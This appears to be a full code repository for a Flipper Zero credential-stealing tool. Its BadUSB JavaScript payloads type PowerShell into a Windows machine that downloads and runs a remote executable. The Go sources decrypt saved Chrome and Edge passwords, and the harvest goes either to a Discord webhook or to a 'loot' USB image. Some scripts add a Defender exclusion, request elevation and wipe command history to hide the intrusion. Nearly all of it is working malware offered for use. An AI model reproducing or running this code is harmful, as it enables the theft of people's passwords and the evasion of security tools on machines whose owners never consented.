├── .gitignore
├── go.mod
├── README.md
├── edgePasswords_webhook.js
├── chromePasswords_webhook.js
├── go.sum
├── edgePassword_ms.js
├── chromePassword_ms.js
├── chrome
└── main.go
└── edge
└── mainEdge.go
/.gitignore:
--------------------------------------------------------------------------------
1 | /.env
2 | .idea
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module FlipperPasswordStealer
2 |
3 | go 1.22
4 |
5 | require github.com/glebarez/go-sqlite v1.22.0
6 |
7 | require (
8 | github.com/dustin/go-humanize v1.0.1 // indirect
9 | github.com/google/uuid v1.5.0 // indirect
10 | github.com/mattn/go-isatty v0.0.20 // indirect
11 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
12 | golang.org/x/sys v0.15.0 // indirect
13 | modernc.org/libc v1.37.6 // indirect
14 | modernc.org/mathutil v1.6.0 // indirect
15 | modernc.org/memory v1.7.2 // indirect
16 | modernc.org/sqlite v1.28.0 // indirect
17 | )
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # FlipperPasswordExtractor
2 | Extract saved browser passwords to a webhook or save them locally on the Flipper Zero.
3 | Currently supports:
4 | - Chrome Browser
5 | - Edge Browser
6 |
7 | The extractor is written in `Golang`,and the current build is compiled for Windows. The Flipper Zero JavaScript script downloads the binary, runs it, and either sends the output to the defined Discord webhook or saves it locally to the Flipper Zero, depending on which JavaScript script is used.
8 |
9 | ## Features
10 | - Extract saved passwords from Chrome and Edge browsers.
11 | - Send extracted passwords to a Discord webhook.
12 | - Save extracted passwords locally on the Flipper Zero as a mass storage image.
13 |
14 | ## setup
15 | ### Webhook Script
16 | - Add your webhook url to the .js file
17 | - Add chrome/edge javascript to your flipper
18 |
19 | ### Flipper Storage Script
20 | - Add the new Chrome/Edge JavaScript scripts to your Flipper.
21 | - These scripts will create mass storage images (chrome_loot.img and edge_loot.img) on the Flipper Zero.
22 | - The output from the Chrome and Edge executables will be saved to their respective mass storage images.
23 | - Each image will contain a folder named with the date the script is run.
24 | - Inside the date folder, the extracted passwords will be saved as a .txt file in the format {computername}_{Time}.txt.
25 |
26 | ## optimizing build size
27 | add these flags when building
28 | ```-ldflags="-w -s" -gcflags=all=-l```
29 |
--------------------------------------------------------------------------------
/edgePasswords_webhook.js:
--------------------------------------------------------------------------------
1 | let badusb = require("badusb");
2 |
3 | let script = [
4 | "$webhookUrl = '';", //Add your webhook url here.
5 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/edge.exe';",
6 | "$exePath = '.\\edge.exe';",
7 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}",
8 | "$commandOutput = & $exePath | Out-String;",
9 | "$chunks = [Math]::Ceiling($commandOutput.Length / 2000);for ($i = 0; $i -lt $chunks; $i++) {$start = $i * 2000;$length = [Math]::Min(2000, $commandOutput.Length - $start);$content = $commandOutput.Substring($start, $length);" +
10 | "$webhookContent = @{'username' = 'Flipper';'content' = $content;};" + //Adjust this to match your webhook format.
11 | "$jsonData = ConvertTo-Json -InputObject $webhookContent;Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $jsonData -ContentType 'application/json';Start-Sleep -Seconds 1;}"
12 | ];
13 |
14 | badusb.setup({
15 | vid: 0xAAAA,
16 | pid: 0xBBBB,
17 | mfr_name: "Flipper",
18 | prod_name: "Zero",
19 | layout_path: "/ext/badusb/assets/layouts/en-US.kl"
20 | });
21 |
22 | let command = "";
23 | for (let i = 0; i < script.length; i++) {
24 | command += script[i];
25 | }
26 |
27 | print("Waiting for connection");
28 | while (!badusb.isConnected()) {
29 | delay(1000);
30 | }
31 |
32 | badusb.press("GUI", "x");
33 | delay(300);
34 | badusb.press("i");
35 | delay(3000);
36 | print("Running payload");
37 | badusb.println(command, 10);
38 | badusb.press("ENTER");
39 | badusb.quit();
40 | print("done :)");
41 |
--------------------------------------------------------------------------------
/chromePasswords_webhook.js:
--------------------------------------------------------------------------------
1 | let badusb = require("badusb");
2 |
3 | let script = [
4 | "$webhookUrl = '';", //Add your webhook url here.
5 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/chrome.exe';",
6 | "$exePath = '.\\chrome.exe';",
7 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}",
8 | "$commandOutput = & $exePath | Out-String;",
9 | "$chunks = [Math]::Ceiling($commandOutput.Length / 2000);for ($i = 0; $i -lt $chunks; $i++) {$start = $i * 2000;$length = [Math]::Min(2000, $commandOutput.Length - $start);$content = $commandOutput.Substring($start, $length);" +
10 | "$webhookContent = @{'username' = 'Flipper';'content' = $content;};" + //Adjust this to match your webhook format.
11 | "$jsonData = ConvertTo-Json -InputObject $webhookContent;Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $jsonData -ContentType 'application/json';Start-Sleep -Seconds 1;}"
12 | ];
13 |
14 | badusb.setup({
15 | vid: 0xAAAA,
16 | pid: 0xBBBB,
17 | mfr_name: "Flipper",
18 | prod_name: "Zero",
19 | layout_path: "/ext/badusb/assets/layouts/en-US.kl"
20 | });
21 |
22 | let command = "";
23 | for (let i = 0; i < script.length; i++) {
24 | command += script[i];
25 | }
26 |
27 | print("Waiting for connection");
28 | while (!badusb.isConnected()) {
29 | delay(1000);
30 | }
31 |
32 | badusb.press("GUI", "x");
33 | delay(300);
34 | badusb.press("i");
35 | delay(3000);
36 | print("Running payload");
37 | badusb.println(command, 10);
38 | badusb.press("ENTER");
39 | badusb.quit();
40 | print("done :)");
41 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
2 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
3 | github.com/glebarez/go-sqlite v1.22.0 h1:uAcMJhaA6r3LHMTFgP0SifzgXg46yJkgxqyuyec+ruQ=
4 | github.com/glebarez/go-sqlite v1.22.0/go.mod h1:PlBIdHe0+aUEFn+r2/uthrWq4FxbzugL0L8Li6yQJbc=
5 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
6 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
7 | github.com/google/uuid v1.5.0 h1:1p67kYwdtXjb0gL0BPiP1Av9wiZPo5A8z2cWkTZ+eyU=
8 | github.com/google/uuid v1.5.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
9 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
10 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
11 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
12 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
13 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
14 | golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
15 | golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
16 | modernc.org/libc v1.37.6 h1:orZH3c5wmhIQFTXF+Nt+eeauyd+ZIt2BX6ARe+kD+aw=
17 | modernc.org/libc v1.37.6/go.mod h1:YAXkAZ8ktnkCKaN9sw/UDeUVkGYJ/YquGO4FTi5nmHE=
18 | modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
19 | modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
20 | modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E=
21 | modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E=
22 | modernc.org/sqlite v1.28.0 h1:Zx+LyDDmXczNnEQdvPuEfcFVA2ZPyaD7UCZDjef3BHQ=
23 | modernc.org/sqlite v1.28.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0=
24 |
--------------------------------------------------------------------------------
/edgePassword_ms.js:
--------------------------------------------------------------------------------
1 | // Requirements
2 | let badusb = require("badusb");
3 | let usbdisk = require("usbdisk");
4 | let storage = require("storage");
5 |
6 | // Mass storage details
7 | let image = "/ext/apps_data/mass_storage/edge_loot.img";
8 | let size = 8 * 1024 * 1024; // 8 MB
9 |
10 | // PowerShell script
11 | let script = [
12 | "$currentDirectory = Get-Location;",
13 | "Add-MpPreference -ExclusionPath $currentDirectory.Path;",
14 | "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date
15 | "$Time = Get-Date -Format hh-mm-ss;",//Get Time
16 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordExtractor/raw/master/build/edge.exe';", // URL of the executable
17 | "$exePath = '.\\edge.exe';", // Path where the executable will be saved in the current directory
18 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", // Download the executable if it doesn't exist
19 | "$commandOutput = & \"$exePath\" | Out-String;", // Execute the command and capture the output
20 | "$fileName = '.\\edge.txt';", //Output filename
21 | "$commandOutput | Out-File -FilePath $fileName;", // Save the output to a file
22 | ];
23 |
24 |
25 | // Script crawler
26 | let command = "";
27 | for (let i = 0; i < script.length; i++) {
28 | command += script[i];
29 | }
30 |
31 | // Check if mass storage already exists
32 | print("Checking for Image...");
33 | if (storage.exists(image)) {
34 | print("Storage Exists.");
35 | } else {
36 | print("Creating Storage...");
37 | usbdisk.createImage(image, size);
38 | }
39 |
40 | // VID & PID as HID
41 | badusb.setup({
42 | vid: 0xAAAA,
43 | pid: 0xBBBB,
44 | mfr_name: "Flipper",
45 | prod_name: "Zero",
46 | layout_path: "/ext/badusb/assets/layouts/en-US.kl"
47 | });
48 |
49 | print("Waiting for connection");
50 | while (!badusb.isConnected()) {
51 | delay(1000);
52 | }
53 |
54 | badusb.press("GUI", "r"); // Open Run
55 | delay(300);
56 | badusb.println('powershell -Command "Start-Process powershell -Verb RunAs"');
57 | delay(1000);
58 | badusb.press("LEFT");
59 | delay(500);
60 | badusb.press("ENTER");
61 | delay(2000);
62 |
63 | print("Running payload");
64 | badusb.println(command, 1);//Run Script Crawler
65 | delay(9000)
66 |
67 | badusb.println("Start-Sleep 8; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path edge.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; Remove-Item edge.exe; $currentDirectory = Get-Location; Remove-MpPreference -ExclusionPath $currentDirectory.Path; reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue; exit")
68 | badusb.quit();
69 | delay(2000);
70 | usbdisk.start(image);//Open MassStorage Folder
71 | print("Please wait until powershell closes to eject");
72 |
73 | // Wait for user to eject the mass storage
74 | while (!usbdisk.wasEjected()) {
75 | delay(1000);
76 | }
77 |
78 | // Stop the script
79 | usbdisk.stop();
80 | print("Done");
81 |
82 |
83 |
--------------------------------------------------------------------------------
/chromePassword_ms.js:
--------------------------------------------------------------------------------
1 | // Requirements
2 | let badusb = require("badusb");
3 | let usbdisk = require("usbdisk");
4 | let storage = require("storage");
5 |
6 | // Mass storage details
7 | let image = "/ext/apps_data/mass_storage/chrome_loot.img";
8 | let size = 8 * 1024 * 1024; // 8 MB
9 |
10 | // PowerShell script
11 | let script = [
12 | "$currentDirectory = Get-Location;",
13 | "Add-MpPreference -ExclusionPath $currentDirectory.Path;",
14 | "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date
15 | "$Time = Get-Date -Format hh-mm-ss;",//Get Time
16 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/chrome.exe';", // URL of the executable
17 | "$exePath = '.\\chrome.exe';", // Path where the executable will be saved in the current directory
18 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", // Download the executable if it doesn't exist
19 | "$commandOutput = & \"$exePath\" | Out-String;", // Execute the command and capture the output
20 | "$fileName = '.\\chrome.txt';", //Output filename
21 | "$commandOutput | Out-File -FilePath $fileName;", // Save the output to a file
22 | ];
23 |
24 |
25 | // Script crawler
26 | let command = "";
27 | for (let i = 0; i < script.length; i++) {
28 | command += script[i];
29 | }
30 |
31 | // Check if mass storage already exists
32 | print("Checking for Image...");
33 | if (storage.exists(image)) {
34 | print("Storage Exists.");
35 | } else {
36 | print("Creating Storage...");
37 | usbdisk.createImage(image, size);
38 | }
39 |
40 | // VID & PID as HID
41 | badusb.setup({
42 | vid: 0xAAAA,
43 | pid: 0xBBBB,
44 | mfr_name: "Flipper",
45 | prod_name: "Zero",
46 | layout_path: "/ext/badusb/assets/layouts/en-US.kl"
47 | });
48 |
49 | print("Waiting for connection");
50 | while (!badusb.isConnected()) {
51 | delay(1000);
52 | }
53 |
54 | badusb.press("GUI", "r"); // Open Run
55 | delay(300);
56 | badusb.println('powershell -Command "Start-Process powershell -Verb RunAs"');
57 | delay(1000);
58 | badusb.press("LEFT");
59 | delay(500);
60 | badusb.press("ENTER");
61 | delay(2000);
62 |
63 | print("Running payload");
64 | badusb.println(command, 1);//Run Script Crawler
65 | delay(9000)
66 |
67 | badusb.println("Start-Sleep 8; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path chrome.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; Remove-Item chrome.exe; $currentDirectory = Get-Location; Remove-MpPreference -ExclusionPath $currentDirectory.Path; reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue; exit")
68 | badusb.quit();
69 | delay(2000);
70 | usbdisk.start(image);//Open MassStorage Folder
71 | print("Please wait until powershell closes to eject");
72 |
73 | // Wait for user to eject the mass storage
74 | while (!usbdisk.wasEjected()) {
75 | delay(1000);
76 | }
77 |
78 | // Stop the script
79 | usbdisk.stop();
80 | print("Done");
81 |
82 |
83 |
--------------------------------------------------------------------------------
/chrome/main.go:
--------------------------------------------------------------------------------
1 | //Windows Only
2 |
3 | //SQLLite3 - github.com/mattn/go-sqlite3
4 | //Using Crypt32.dll (win32crypt) for decryption
5 |
6 | //C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default
7 |
8 | package main
9 |
10 | import (
11 | "crypto/aes"
12 | "crypto/cipher"
13 | "database/sql"
14 | "encoding/base64"
15 | "encoding/json"
16 | "fmt"
17 | _ "github.com/glebarez/go-sqlite"
18 | "io"
19 | "io/ioutil"
20 | "log"
21 | "os"
22 | "strings"
23 | "syscall"
24 | "unsafe"
25 | )
26 |
27 | var (
28 | dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
29 | dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
30 |
31 | procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
32 | procLocalFree = dllkernel32.NewProc("LocalFree")
33 |
34 | dataPath = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
35 | localStatePath = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
36 | )
37 |
38 | type DataBlob struct {
39 | cbData uint32
40 | pbData *byte
41 | }
42 |
43 | func NewBlob(d []byte) *DataBlob {
44 | if len(d) == 0 {
45 | return &DataBlob{}
46 | }
47 | return &DataBlob{
48 | pbData: &d[0],
49 | cbData: uint32(len(d)),
50 | }
51 | }
52 |
53 | func (b *DataBlob) ToByteArray() []byte {
54 | d := make([]byte, b.cbData)
55 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
56 | return d
57 | }
58 |
59 | func Decrypt(data []byte) ([]byte, error) {
60 | var outblob DataBlob
61 | r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
62 | if r == 0 {
63 | return nil, err
64 | }
65 | defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
66 | return outblob.ToByteArray(), nil
67 | }
68 |
69 | func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
70 | sourceFile, err := os.Open(pathSourceFile)
71 | if err != nil {
72 | return err
73 | }
74 | defer sourceFile.Close()
75 |
76 | destFile, err := os.Create(pathDestFile)
77 | if err != nil {
78 | return err
79 | }
80 | defer destFile.Close()
81 |
82 | _, err = io.Copy(destFile, sourceFile)
83 | if err != nil {
84 | return err
85 | }
86 |
87 | err = destFile.Sync()
88 | if err != nil {
89 | return err
90 | }
91 |
92 | sourceFileInfo, err := sourceFile.Stat()
93 | if err != nil {
94 | return err
95 | }
96 |
97 | destFileInfo, err := destFile.Stat()
98 | if err != nil {
99 | return err
100 | }
101 |
102 | if sourceFileInfo.Size() == destFileInfo.Size() {
103 | } else {
104 | return err
105 | }
106 | return nil
107 | }
108 |
109 | func checkFileExist(filePath string) bool {
110 | if _, err := os.Stat(filePath); os.IsNotExist(err) {
111 | return false
112 | } else {
113 | return true
114 | }
115 | }
116 |
117 | func getMasterKey() ([]byte, error) {
118 |
119 | var masterKey []byte
120 |
121 | // Get the master key
122 | // The master key is the key with which chrome encode the passwords but it has some suffixes and we need to work on it
123 | jsonFile, err := os.Open(localStatePath) // The rough key is stored in the Local State File which is a json file
124 | if err != nil {
125 | return masterKey, err
126 | }
127 |
128 | defer jsonFile.Close()
129 |
130 | byteValue, err := ioutil.ReadAll(jsonFile)
131 | if err != nil {
132 | return masterKey, err
133 | }
134 | var result map[string]interface{}
135 | json.Unmarshal([]byte(byteValue), &result)
136 | roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string) // Found parsing the json in it
137 | decodedKey, err := base64.StdEncoding.DecodeString(roughKey) // It's stored in Base64 so.. Let's decode it
138 | stringKey := string(decodedKey)
139 | stringKey = strings.Trim(stringKey, "DPAPI") // The key is encrypted using the windows DPAPI method and signed with it. the key looks like "DPAPI05546sdf879z456..." Let's Remove DPAPI.
140 |
141 | masterKey, err = Decrypt([]byte(stringKey)) // Decrypt the key using the dllcrypt32 dll.
142 | if err != nil {
143 | return masterKey, err
144 | }
145 |
146 | return masterKey, nil
147 |
148 | }
149 |
150 | func main() {
151 | //Check for Login Data file
152 | if !checkFileExist(dataPath) {
153 | os.Exit(0)
154 | }
155 |
156 | //Copy Login Data file to temp location
157 | err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
158 | if err != nil {
159 | log.Fatal(err)
160 | }
161 |
162 | //Open Database
163 | db, err := sql.Open("sqlite", os.Getenv("APPDATA")+"\\tempfile.dat")
164 | if err != nil {
165 | log.Fatal(err)
166 | }
167 | defer db.Close()
168 |
169 | //Select Rows to get data from
170 | rows, err := db.Query("select origin_url, username_value, password_value from logins")
171 |
172 | if err != nil {
173 | log.Fatal(err)
174 | }
175 | defer rows.Close()
176 | masterKey, err := getMasterKey()
177 | if err != nil {
178 | fmt.Println(err)
179 | }
180 | for rows.Next() {
181 | var URL string
182 | var USERNAME string
183 | var PASSWORD string
184 |
185 | err = rows.Scan(&URL, &USERNAME, &PASSWORD)
186 | if err != nil {
187 | log.Fatal(err)
188 | }
189 | //Decrypt Passwords
190 | if strings.HasPrefix(PASSWORD, "v10") { // Means it's chrome 80 or higher
191 | PASSWORD = strings.Trim(PASSWORD, "v10")
192 |
193 | //fmt.Println("Chrome Version is 80 or higher, switching to the AES 256 decrypt.")
194 | if string(masterKey) != "" {
195 | ciphertext := []byte(PASSWORD)
196 | c, err := aes.NewCipher(masterKey)
197 | if err != nil {
198 |
199 | fmt.Println(err)
200 | }
201 | gcm, err := cipher.NewGCM(c)
202 | if err != nil {
203 | fmt.Println(err)
204 | }
205 | nonceSize := gcm.NonceSize()
206 | if len(ciphertext) < nonceSize {
207 | fmt.Println(err)
208 | }
209 |
210 | nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
211 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
212 | if err != nil {
213 | fmt.Println(err)
214 | }
215 | if string(plaintext) != "" {
216 | fmt.Println(URL, " | ", USERNAME, " | ", string(plaintext))
217 |
218 | }
219 | } else { // It the masterkey hasn't been requested yet, then gets it.
220 | mkey, err := getMasterKey()
221 | if err != nil {
222 | fmt.Println(err)
223 | }
224 | masterKey = mkey
225 | }
226 | } else { //Means it's chrome v. < 80
227 | pass, err := Decrypt([]byte(PASSWORD))
228 | if err != nil {
229 | log.Fatal(err)
230 | }
231 |
232 | if URL != "" && string(pass) != "" {
233 | fmt.Println(URL, USERNAME, string(pass))
234 | }
235 | }
236 | }
237 | err = rows.Err()
238 | if err != nil {
239 | log.Fatal(err)
240 | }
241 |
242 | }
243 |
--------------------------------------------------------------------------------
/edge/mainEdge.go:
--------------------------------------------------------------------------------
1 | //Windows Only
2 |
3 | //SQLLite3 - github.com/mattn/go-sqlite3
4 | //Using Crypt32.dll (win32crypt) for decryption
5 |
6 | //C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default
7 |
8 | package main
9 |
10 | import (
11 | "crypto/aes"
12 | "crypto/cipher"
13 | "database/sql"
14 | "encoding/base64"
15 | "encoding/json"
16 | "fmt"
17 | _ "github.com/glebarez/go-sqlite"
18 | "io"
19 | "io/ioutil"
20 | "log"
21 | "os"
22 | "strings"
23 | "syscall"
24 | "unsafe"
25 | )
26 |
27 | var (
28 | dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
29 | dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
30 |
31 | procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
32 | procLocalFree = dllkernel32.NewProc("LocalFree")
33 |
34 | dataPathEdge = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data"
35 | localStatePathEdge = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"
36 | )
37 |
38 | type DataBlob struct {
39 | cbData uint32
40 | pbData *byte
41 | }
42 |
43 | func NewBlob(d []byte) *DataBlob {
44 | if len(d) == 0 {
45 | return &DataBlob{}
46 | }
47 | return &DataBlob{
48 | pbData: &d[0],
49 | cbData: uint32(len(d)),
50 | }
51 | }
52 |
53 | func (b *DataBlob) ToByteArray() []byte {
54 | d := make([]byte, b.cbData)
55 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
56 | return d
57 | }
58 |
59 | func Decrypt(data []byte) ([]byte, error) {
60 | var outblob DataBlob
61 | r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
62 | if r == 0 {
63 | return nil, err
64 | }
65 | defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
66 | return outblob.ToByteArray(), nil
67 | }
68 |
69 | func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
70 | sourceFile, err := os.Open(pathSourceFile)
71 | if err != nil {
72 | return err
73 | }
74 | defer sourceFile.Close()
75 |
76 | destFile, err := os.Create(pathDestFile)
77 | if err != nil {
78 | return err
79 | }
80 | defer destFile.Close()
81 |
82 | _, err = io.Copy(destFile, sourceFile)
83 | if err != nil {
84 | return err
85 | }
86 |
87 | err = destFile.Sync()
88 | if err != nil {
89 | return err
90 | }
91 |
92 | sourceFileInfo, err := sourceFile.Stat()
93 | if err != nil {
94 | return err
95 | }
96 |
97 | destFileInfo, err := destFile.Stat()
98 | if err != nil {
99 | return err
100 | }
101 |
102 | if sourceFileInfo.Size() == destFileInfo.Size() {
103 | } else {
104 | return err
105 | }
106 | return nil
107 | }
108 |
109 | func checkFileExist(filePath string) bool {
110 | if _, err := os.Stat(filePath); os.IsNotExist(err) {
111 | return false
112 | } else {
113 | return true
114 | }
115 | }
116 |
117 | func getMasterKey() ([]byte, error) {
118 |
119 | var masterKey []byte
120 |
121 | // Get the master key
122 | // The master key is the key with which chrome encode the passwords but it has some suffixes and we need to work on it
123 | jsonFile, err := os.Open(localStatePathEdge) // The rough key is stored in the Local State File which is a json file
124 | if err != nil {
125 | return masterKey, err
126 | }
127 |
128 | defer jsonFile.Close()
129 |
130 | byteValue, err := ioutil.ReadAll(jsonFile)
131 | if err != nil {
132 | return masterKey, err
133 | }
134 | var result map[string]interface{}
135 | json.Unmarshal([]byte(byteValue), &result)
136 | roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string) // Found parsing the json in it
137 | decodedKey, err := base64.StdEncoding.DecodeString(roughKey) // It's stored in Base64 so.. Let's decode it
138 | stringKey := string(decodedKey)
139 | stringKey = strings.Trim(stringKey, "DPAPI") // The key is encrypted using the windows DPAPI method and signed with it. the key looks like "DPAPI05546sdf879z456..." Let's Remove DPAPI.
140 |
141 | masterKey, err = Decrypt([]byte(stringKey)) // Decrypt the key using the dllcrypt32 dll.
142 | if err != nil {
143 | return masterKey, err
144 | }
145 |
146 | return masterKey, nil
147 |
148 | }
149 |
150 | func main() {
151 | //Check for Login Data file
152 | if !checkFileExist(dataPathEdge) {
153 | os.Exit(0)
154 | }
155 |
156 | //Copy Login Data file to temp location
157 | err := copyFileToDirectory(dataPathEdge, os.Getenv("APPDATA")+"\\tempfile.dat")
158 | if err != nil {
159 | log.Fatal(err)
160 | }
161 |
162 | //Open Database
163 | db, err := sql.Open("sqlite", os.Getenv("APPDATA")+"\\tempfile.dat")
164 | if err != nil {
165 | log.Fatal(err)
166 | }
167 | defer db.Close()
168 |
169 | //Select Rows to get data from
170 | rows, err := db.Query("select origin_url, username_value, password_value from logins")
171 |
172 | if err != nil {
173 | log.Fatal(err)
174 | }
175 | defer rows.Close()
176 | masterKey, err := getMasterKey()
177 | if err != nil {
178 | fmt.Println(err)
179 | }
180 | for rows.Next() {
181 | var URL string
182 | var USERNAME string
183 | var PASSWORD string
184 |
185 | err = rows.Scan(&URL, &USERNAME, &PASSWORD)
186 | if err != nil {
187 | log.Fatal(err)
188 | }
189 | //Decrypt Passwords
190 | if strings.HasPrefix(PASSWORD, "v10") { // Means it's chrome 80 or higher
191 | PASSWORD = strings.Trim(PASSWORD, "v10")
192 |
193 | //fmt.Println("Chrome Version is 80 or higher, switching to the AES 256 decrypt.")
194 | if string(masterKey) != "" {
195 | ciphertext := []byte(PASSWORD)
196 | c, err := aes.NewCipher(masterKey)
197 | if err != nil {
198 |
199 | fmt.Println(err)
200 | }
201 | gcm, err := cipher.NewGCM(c)
202 | if err != nil {
203 | fmt.Println(err)
204 | }
205 | nonceSize := gcm.NonceSize()
206 | if len(ciphertext) < nonceSize {
207 | fmt.Println(err)
208 | }
209 |
210 | nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
211 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
212 | if err != nil {
213 | fmt.Println(err)
214 | }
215 | if string(plaintext) != "" {
216 | fmt.Println(URL, " | ", USERNAME, " | ", string(plaintext))
217 |
218 | }
219 | } else { // It the masterkey hasn't been requested yet, then gets it.
220 | mkey, err := getMasterKey()
221 | if err != nil {
222 | fmt.Println(err)
223 | }
224 | masterKey = mkey
225 | }
226 | } else { //Means it's chrome v. < 80
227 | pass, err := Decrypt([]byte(PASSWORD))
228 | if err != nil {
229 | log.Fatal(err)
230 | }
231 |
232 | if URL != "" && string(pass) != "" {
233 | fmt.Println(URL, USERNAME, string(pass))
234 | }
235 | }
236 | }
237 | err = rows.Err()
238 | if err != nil {
239 | log.Fatal(err)
240 | }
241 |
242 | }
243 |
--------------------------------------------------------------------------------